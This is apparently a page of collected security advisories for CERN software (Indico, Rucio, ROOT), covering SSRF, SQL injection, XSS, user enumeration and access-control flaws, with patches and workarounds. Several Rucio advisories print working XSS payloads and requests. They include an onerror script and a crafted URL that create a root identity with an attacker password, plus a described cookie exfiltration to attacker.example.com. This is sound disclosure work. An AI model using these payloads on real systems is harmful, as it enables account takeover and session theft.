See how cern compares to other vendors in security performance
Impact Indico makes outgoing requests to user-provides URLs in various places. This is mostly intentional and part of Indico's functionality, but of course it is never intended to let you access "special" targets such as localhost or cloud metadata endpoints. The previous fix (CVE-2026-25738) did not cover an edge case so it was still possible to craft a URL that pointed to a local target but was accepted as valid by Indico.
Patches You should to update to Indico 3.3.13 as soon as possible. See the docs for instructions on how to update.
Workarounds If you do not have IPs that expose sensitive data without authentication (typically because you do not host Indico on AWS), this vulnerability doesn't impact you and you can ignore it (but please upgrade anyway). Also, only event organizers can access endpoints where SSRF could be used to actually see the data returned by such a request. So if you trust your event organizers, the risk is also very limited.
For additional security, both before and after patching, you could also use the common proxy-related environment variables (in particular httpproxy and httpsproxy) to force outgoing requests to go through a proxy that limits requests in whatever way you deem useful/necessary. These environment variables would need to be set both on the indico-uwsgi and indico-celery services. Please note that setting up such a proxy is not something we can help you with.
For more information If you have any questions or comments about this advisory:
- Open a thread in our forum - Email us privately at indico-team@cern.ch
Impact A legacy API to retrieve session details could be misused to retrieve metadata (such as title, description and conveners) of a restricted session within without having access to that session, as long as the event itself was accessible.
Patches You should to update to Indico 3.3.13 as soon as possible. See the docs for instructions on how to update.
Workarounds Restrict access to the event itself
For more information If you have any questions or comments about this advisory:
- Open a thread in our forum - Email us privately at indico-team@cern.ch
Impact There is a Cross-Site-Scripting vulnerability in confirmation prompts commonly used when deleting content from Indico. Exploitation requires someone with at least submission privileges (such as a speaker) and then someone else to attempt to delete this content.
Considering that event organizers may want to delete suspicious-looking content when spotting it, there is a non-negligible risk of such an attack to succeed. The risk of this could be further increased when combined with some some social engineering pointing the victim towards this content.
Patches You need to update to Indico 3.2.6 as soon as possible. See the docs for instructions on how to update.
Workarounds Only let trustworthy users manage categories, create events or upload materials ("submission" privileges on a contribution/event). This should already be the case in a properly-configured setup when it comes to category/event management.
Note that a conference doing a Call for Abstracts actively invites external speakers (who the organizers may not know and thus cannot fully trust) to submit content, hence the need to update to a a fixed version ASAP in particular when using such workflows.
For more information
If you have any questions or comments about this advisory:
Open a thread in our forum Email us privately at indico-team@cern.ch
Summary
A SQL injection vulnerability in the Oracle path of FilterEngine.createsqlaquery allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (GET /dids/<scope>/dids/search). Attacker-controlled filter keys and values are interpolated directly into sqlalchemy.text via Python str.format, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. The vulnerability is affecting deployments using the default metadata plugin configuration jsonmeta with Oracle database backends.
Details
Will follow in two weeks (2025-05-19).
Impact
Vulnerability type: SQL Injection (CWE-89)
Who is impacted:
- All Oracle-based Rucio deployments using the default metadata plugin configuration (jsonmeta). - Not affected are PostgreSQL/MySQL deployments using the default jsonmeta plugin (SQLAlchemy parameterizes the JSON path operations via bind parameters on non-Oracle dialects).
What an attacker can do:
- Full database read access: Extract any table including identities (password hashes and salts), tokens (active authentication sessions), accounts (user enumeration), rsesettings (storage endpoint credentials), and rules (data management policies). - Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed. - Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking. - Data modification: Oracle PL/SQL enables INSERT/UPDATE/DELETE operations via DML within subqueries and PL/SQL blocks. - Potential remote code execution: Via Oracle's UTLHTTP, DBMSSCHEDULER, or Java stored procedures if the database user has elevated privileges.
Required attacker privileges: Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The GET /dids/<scope>/dids/search endpoint is available to all authenticated users.
Summary
A SQL injection vulnerability exists in Rucio versions 1.30.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1, in FilterEngine.createpostgresquery(). This allows any authenticated Rucio user to execute arbitrary SQL against the PostgreSQL metadata database through the DID search endpoint (GET /dids/<scope>/dids/search). When the postgresmeta metadata plugin is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL strings via Python .format(), then passed to psycopg3's sql.SQL() which treats the string as trusted SQL syntax.
Depending on the database privileges assigned to the service account, exploitation can expose sensitive tables, modify or delete metadata, access server-side files, or achieve code execution through PostgreSQL features such as COPY ... FROM PROGRAM. This issue affects deployments that explicitly use the postgresmeta metadata plugin. This vulnerability has been fixed in versions 35.8.5, 38.5.5, 39.4.2, and 40.1.1.
[!NOTE] If server-side LaTeX rendering is not in use (ie XELATEXPATH was not set in indico.conf), this vulnerability does not apply.
Impact Due to vulnerabilities in TeXLive and obscure LaTeX syntax that allowed circumventing Indico's LaTeX sanitizer, it is possible to use specially-crafted LaTeX snippets which can read local files or execute code with the privileges of the user running Indico on the server.
Patches It is recommended to update to Indico 3.3.12 as soon as possible. See the docs for instructions on how to update.
It is also strongly recommended to enable the containerized LaTeX renderer (using podman), which isolates it from the rest of the system. See the docs for details - it is very easy and from now on the only recommended/supported way of using LaTeX.
Workarounds Remove the XELATEXPATH setting from indico.conf (or comment it out or set it to None) and restart the indico-uwsgi and indico-celery services to disable LaTeX functionality.
For more information For any questions or comments about this advisory:
- Open a thread in the forum - Send an email to indico-team@cern.ch
Impact The API endpoint used to manage event series is missing an access check, allowing unauthenticated/unauthorized access to this endpoint.
The impact of this is limited to:
- Getting the metadata (title, category chain, start/end date) for events in an existing series - Deleting an existing event series: This just removes the series metadata, ie (if enabled) the links between events in the same series and the lecture series number in the event title - Modifying an existing event series: Just like for deleting, it would only allow to toggle the metadata display. It could also be used to set an event title pattern for the series, but this is only used when cloning an event from that series.
That this vulnerability does NOT allow unauthorized access to events (beyond the basic metadata mentioned above), nor any kind of tampering with user-visible data in events.
Patches Developers should to update to Indico 3.3.11 as soon as possible. See the docs for instructions on how to update.
Workarounds - Developers can configure their webserver to restrict access to the series management API endpoint
For more information If there are any questions or comments about this advisory:
- Open a thread in our forum - Email Indico privately at indico-team@cern.ch
Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.
--- Details A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed.
Create Path: Admin > RSE Management > RSE NAME > Add Attribute
Trigger Path: Admin > RSE Management > RSE NAME
Request http POST /proxy/rses/WEB1/attr/XSS HTTP/1.1 ... {"value":"<script>alert('XSS')</script>"}
Response http HTTP/1.1 201 CREATED ... Created
Storing XSS Payload in RSE Attribute <img width="1234" height="844" alt="Storing XSS Payload in RSE Attribute" src="https://github.com/user-attachments/assets/d10f58c2-8cea-43a9-bf7f-f94ef3d1fd81" />
XSS Payload triggering when viewing RSE <img width="1248" height="949" alt="XSS Payload triggering when viewing RSE" src="https://github.com/user-attachments/assets/d536fac2-ab44-4cfb-b669-085a8c3db33e" /> --- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.
The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.
An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).
Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.
XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.
Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.
Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)
--- Resources - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html
Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.
--- Details The identity name is stored and later rendered without output encoding.
Create Path: Admin > Account Management > ACCOUNT NAME > Add Account Identity
Trigger Path: Admin > Account Management > ACCOUNT NAME (https://127.0.0.1:8443/ui/account?account=pentest)
Request http POST /proxy/accounts/pentest/identities HTTP/1.1 ... {"identity":"<script>alert(document.cookie)</script>","authtype":"SSH","email":"Test"}
Response http HTTP/1.1 201 CREATED ... Created
Storing XSS payload in account identity name <img width="1385" height="807" alt="Storing XSS payload in account identity name" src="https://github.com/user-attachments/assets/e4209ef4-fd88-492f-9fb0-afb7d04b15ce" />
Triggering XSS payload when viewing account <img width="1395" height="745" alt="Triggering XSS payload when viewing account" src="https://github.com/user-attachments/assets/e6217669-a0f7-4aba-bb05-f4fb7049611c" />
--- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.
The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.
An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).
Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.
XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.
Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.
Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)
--- References - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html
Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.
--- Details Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard.
Create Path: Admin > RSE Management
Trigger Paths: Admin > RSE Management Admin > RSE Management > RSE NAME
Vulnerable Attributes: City, CountryName, ISP
Request http POST /proxy/rses/XSSTEST HTTP/1.1 ... {"city":"<script>alert('CITY XSS')</script>","countryname":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"stagingarea":false}
Response http HTTP/1.1 201 CREATED ... Created
Stored XSS payload triggering in RSE listing after adding XSS payload in metadata <img width="1252" height="624" alt="Stored XSS payload triggering in RSE listing after adding XSS payload in metadata" src="https://github.com/user-attachments/assets/6546fc95-0c81-4db7-9271-37b5d4bc8f47" />
--- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.
The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.
An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).
Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.
XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.
Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.
Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)
--- Resources - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html
Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.
--- Details A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.
Create Path: Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment
Trigger Paths: - User Trigger: Monitoring > Subscriptions and Rules > Show My Rules > RULE NAME (https://localhost:8443/ui/rule?ruleid=<RULEID>) - Admin Trigger: Data Transfer (R2D2) > Approve Rules > RULE NAME
Create Request http POST /proxy/rules/ HTTP/1.1 ... {"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","askapproval":true,"activity":"User Subscriptions","rseexpression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}
Response http HTTP/1.1 201 CREATED ... ["c2d675c1979d4549b26eede3531a7e6a"]
Creating RSE with XSS payload in comment <img width="1032" height="667" alt="Creating RSE with XSS payload in comment" src="https://github.com/user-attachments/assets/00258839-5288-48ed-856c-30cfee19d3c4" />
Reviewing rule creation requests <img width="1201" height="625" alt="Reviewing rule creation requests" src="https://github.com/user-attachments/assets/1b5fc7af-a664-42dc-a3d4-b00755fe2bd7" />
XSS Payload triggering on rule review <img width="1197" height="417" alt="XXS Payload triggering on rule review" src="https://github.com/user-attachments/assets/463e843a-1e9e-492e-960f-7d3edac2fd1e" />
--- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.
The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.
An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).
Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.
XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.
Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.
Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)
--- Resources - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html
Summary The WebUI login endpoint returns distinct error messages depending on whether a supplied username exists, allowing unauthenticated attackers to enumerate valid usernames.
Details When submitting invalid credentials to /ui/login, the WebUI responds with different error messages based on the existence of the provided username (identity). A non-existent username results in an error indicating that no account is associated with the identity, while an existing username with an incorrect password produces a different authentication-related error.
This behavioral difference allows an attacker to distinguish valid usernames from invalid ones by observing the response content.
Proof of Concept Bogus Login (Non-existent Username "15251087") Response contains: Cannot get find any account associated with 15251087 identity.
Bogus Login (Existing Username "root", Wrong Password) Response contains: Cannot get auth token. It is possible that the presented identity root is not mapped to any Rucio account root.
The difference in error messages confirms whether a username exists.
Impact An unauthenticated attacker can enumerate valid usernames, which may be leveraged for targeted password guessing, credential stuffing, or social engineering attacks.
Remediation / Mitigation Return a generic authentication failure message for all login errors, regardless of whether the username exists. Avoid disclosing account or identity existence through error responses. Consider implementing rate limiting or additional login throttling to further reduce abuse.
Reources: - OWASP Authentication Cheat Sheet - Authentication and Error Messages: https://cheatsheetseries.owasp.org/cheatsheets/AuthenticationCheatSheet.html#authentication-and-error-messages
Summary A reflected Cross-site Scripting vulnerability was located in the rendering of the ExceptionMessage of the WebUI 500 error which could allow attackers to steal login session tokens of users who navigate to a specially crafted URL.
Details The WebUI error message renders ExceptionMessage (which can contain user-controlled input) as unencoded HTML. Server code that produces the message is in common.py - specifically errorheaders -> errorresponse -> generatehttperrorflask, which places ExceptionMessage into both response headers and the JSON body. The WebUI client then injects that text into the DOM using unsafe methods (examples in lib/rucio/web/ui/static/.js such as rule.js, requestrule.js, listrules.js) with jQuery.html(...) or equivalent, enabling reflected XSS when an attacker-controlled value is included in an error message (e.g. account, attribute, scope).
PoC 1) Reflected XSS via account parameter (browse or load URL in WebUI context): text https://127.0.0.1:8443/ui/accountrseusage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E Server response (excerpt): http HTTP/1.1 500 INTERNAL SERVER ERROR ExceptionClass: AccountNotFound ExceptionMessage: Account <img src=x onerror=alert(document.cookie)> does not exist Content-Type: application/octet-stream
{"ExceptionClass":"AccountNotFound","ExceptionMessage":"Account <img src=x onerror=alert(document.cookie)> does not exist"}
XSS payload triggering (Displaying session token) when browsing to crafted URL <img width="1210" height="510" alt="XSS payload triggering (Displaying session token) when browsing to crafted URL" src="https://github.com/user-attachments/assets/989a0aed-628d-4f1c-bbfb-de434dab8af6" />
When the WebUI inserts ExceptionMessage into the page with .html(...), the injected <img onerror=...> executes and displays the users' session tokens. Note that this is a PoC only, an attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).
2) Reflected XSS via account key attribute creation error: http POST /proxy/accounts/pentest/attr/XSS HTTP/1.1 Content-Type: application/x-www-form-urlencoded Origin: https://127.0.0.1:8443 X-Rucio-Script: webui::-ui-account {"key":"XSS","value":"<script>alert(document.cookie)</script>"}
XSS payload triggering (Displaying session token) on error when creating account key <img width="1322" height="593" alt="XSS payload triggering (Displaying session token) on error when creating account key" src="https://github.com/user-attachments/assets/151cb0ad-e4f0-498e-954e-be3455ca8a72" />
Server response (excerpt) contains ExceptionMessage with the raw <script> payload; the WebUI renders it unsafely and script executes. Note that this method is less impactful since it's not something that can be triggered with a URL alone, but is listed to show that this issue affects multiple locations.
Impact Any authenticated WebUI user who follows a crafted link or triggers a request containing attacker-controlled input in a field that causes an error may execute arbitrary JavaScript in the WebUI origin. This vulnerability is more impactful due to the lack of protection of cookies (The Session token does not have HttpOnly attribute) and lack of Content Security Policy that would prevent thrid-party scripts from loading.
Attackers can steal session cookies/tokens or perform actions as the victim like creating a new UserPass identity with an attacker known password.
Example URL to Create UserPass for Root https://localhost:8443/ui/accountrseusage?account=%3Cimg%20src%3Dx%20onerror%3D(function()%7Bo%3D%7B%7D%3Bo.method%3D'PUT'%3Bo.credentials%3D'include'%3Bo.headers%3D%7B'X-Rucio-Username'%3A'attackeruser'%2C'X-Rucio-Password'%3A'AttackerPassword123'%2C'X-Rucio-Email'%3A'demo%40example.org'%2C'X-Rucio-Auth-Token'%3Atoken%7D%3Bfetch(String.fromCharCode(47)%2B'identities'%2BString.fromCharCode(47)%2B'root'%2BString.fromCharCode(47)%2B'userpass'%2Co)%7D)()%3E
Account Payload to Create UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
Creating identity for Root account via reflected XSS <img width="1558" height="957" alt="Creating identity for Root account via reflected XSS" src="https://github.com/user-attachments/assets/539bfff4-70f3-42c5-b83a-10b5f85d6d44" />
All WebUI users are impacted.
Remediation / Mitigation Change all client-side insertions of server-provided text from .html(...) to .text() or create text nodes / escape HTML before insertion. Example: replace $('#elem').html(msg) with $('#elem').empty().append($('<span>').text(msg)).
Additionally, consider adding a Content Security Policy (CSP) to mitigate external script execution and set the HTTPOnly flag for session cookies. Also, the API token should not be set in a JavaScript variable as it can be accessed by an attacker even with the HTTPOnly flag set on the session cookie.
Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)
References: - Server functions: common.py (errorheaders, errorresponse, generatehttperrorflask) - Example client files to fix: lib/rucio/web/ui/static/rule.js, lib/rucio/web/ui/static/requestrule.js, listrules.js - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html
Impact Indico makes outgoing requests to user-provides URLs in various places. This is mostly intentional and part of Indico's functionality, but of course it is never intended to let you access "special" targets such as localhost or cloud metadata endpoints.
Patches You should to update to Indico 3.3.10 as soon as possible. See the docs for instructions on how to update.
Workarounds If you do not have IPs that expose sensitive data without authentication (typically because you do not host Indico on AWS), this vulnerability doesn't impact you and you can ignore it (but please upgrade anyway). Also, only event organizers can access endpoints where SSRF could be used to actually see the data returned by such a request. So if you trust your event organizers, the risk is also very limited.
For additional security, both before and after patching, you could also use the common proxy-related environment variables (in particular httpproxy and httpsproxy) to force outgoing requests to go through a proxy that limits requests in whatever way you deem useful/necessary. These environment variables would need to be set both on the indico-uwsgi and indico-celery services. Please note that setting up such a proxy is not something we can help you with.
For more information If you have any questions or comments about this advisory:
- Open a thread in our forum - Email us privately at indico-team@cern.ch
Impact There is a Cross-Site-Scripting vulnerability when uploading certain file types as materials.
Patches You should to update to Indico 3.3.10 as soon as possible. See the docs for instructions on how to update.
Please be aware that to apply the fix itself updating is sufficient, but to benefit from the strict Content-Security-Policy we now apply by default for file downloads, you need to update your webserver config in case you use nginx with Indico's STATICFILEMETHOD set to xaccelredirect and add the following line to the .xsf/indico/ location block (you can consult the Indico setup documentation for the full configuration snippet):
nginx addheader Content-Security-Policy $upstreamhttpcontentsecuritypolicy;
Workarounds - Use your webserver config to apply a strict CSP for material download endpoints. - Only let trustworthy users create content (including material uploads, which speakers can typically do as well) on Indico.
For more information If you have any questions or comments about this advisory:
- Open a thread in our forum - Email us privately at indico-team@cern.ch
A Broken Object Level Authorization (BOLA) vulnerability in Indico through 3.3.5 allows attackers to read information by sending a crafted POST request to the component /api/principals. NOTE: this is disputed by the Supplier because the product intentionally lets all users retrieve certain information about other user accounts (this functionality is, in the current design, not restricted to any privileged roles such as event organizer).
Impact A legacy API to retrieve user details could be misused to retrieve profile details of other users without having admin permissions due to a broken access check.
Patches You should to update to Indico 3.3.8 as soon as possible. See the docs for instructions on how to update.
Workarounds It is possible to restrict access to the affected API (e.g. in the webserver config) which is most likely unused anyway and thus will not break anything.
For more information If you have any questions or comments about this advisory:
- Open a thread in our forum - Email us privately at indico-team@cern.ch
Impact There is a Cross-Site-Scripting vulnerability when rendering LaTeX math code in contribution or abstract descriptions.
Patches You should to update to Indico 3.3.8 as soon as possible. See the docs for instructions on how to update.
Workarounds Only let trustworthy users create content on Indico.
Note that a conference doing a Call for Abstracts actively invites external speakers (who the organizers may not know and thus cannot fully trust) to submit content, hence the need to update to a a fixed version ASAP in particular when using such workflows.
For more information If you have any questions or comments about this advisory:
- Open a thread in our forum - Email us privately at indico-team@cern.ch
Impact An endpoint used to display details of users listed in certain fields (such as ACLs) could be misused to dump basic user details (such as name, affiliation and email) in bulk.
[!TIP] If your instance allows everyone to create a user account, and you wish to truly restrict access to these user details, consider restricting user search to managers. You can find details on the newly introduced indico.conf setting ALLOWPUBLICUSERSEARCH in our documentation.
Patches You should to update to Indico 3.3.7 as soon as possible. See the docs for instructions on how to update.
Workarounds It is possible to restrict access to the affected endpoints (e.g. in the webserver config), but doing so would break certain form fields which could no longer show the details of the users listed in those fields, so upgrading instead is highly recommended.
For more information If you have any questions or comments about this advisory:
- Open a thread in our forum - Email us privately at indico-team@cern.ch
Credits This vulnerability was identified during a security assessment conducted as part of the Red Team Residency Program at RNP (Rede Nacional de Ensino e Pesquisa). The research and testing were performed by a security researcher working under RNP’s authorization and coordination. Special acknowledgment goes to the RNP Security Team, which provided the infrastructure, methodology, and ethical oversight for this work.
Impact There is a Cross-Site-Scripting vulnerability during account creation when redirecting after the account has been successfully created. Exploitation requires the user to initiate the account creation process with a maliciously crafted link, and then finalize the signup process. Because of this, it can only target newly created (and thus unprivileged) Indico users so the benefits of exploiting it are very limited.
Patches You should to update to Indico 3.3.4 as soon as possible. See the docs for instructions on how to update.
Workarounds - If you build the Indico package yourself and cannot upgrade for some reason, you can simply update the flask-multipass dependency to >=0.5.5 which fixes the vulnerability. You would do that by editing requirements.txt before building the package (see commit 7dcb573837), or possibly cherry-picking that particular commit. - Otherwise you could configure your web server to disallow requests containing a query string with a parameter that starts with javascript:
For more information If you have any questions or comments about this advisory:
- Open a thread in our forum - Email us privately at indico-team@cern.ch
Impact An external audit of the Indico codebase has discovered a vulnerability in Indico's URL generation logic which could have allowed an attacker to make Indico send a password reset link with a valid token pointing to an attacker-controlled domain by sending that domain in the Host header. Had a user clicked such a link without realizing it does not point to Indico (and that they never requested it), it would have revealed their password reset token to the attacker, allowing them to reset the password for that user and thus take over their Indico account.
- If the web server already enforces a canonical host name, this cannot be exploited (this was not part of the default config from the Indico setup guide) - If only SSO is used (LOCALIDENTITIES set to False), the vulnerability cannot be exploited for password reset links, but other links in emails set by Indico could be tampered with in the same way (with less problematic impact though)
Patches You need to update to Indico 2.3.4 as soon as possible. See the docs for instructions on how to update.
Workarounds You can configure the web server to canonicalize the URL to the hostname used for Indico. See this commit for the changes in our setup docs; they can be easily applied to your existing web server config.
For more information If you have any questions or comments about this advisory:
- Open a thread in our forum - Email us privately at indico-team@cern.ch
ROOT version 6.9.03 and below is vulnerable to an authenticated shell metacharacter injection in the rootd daemon resulting in remote code execution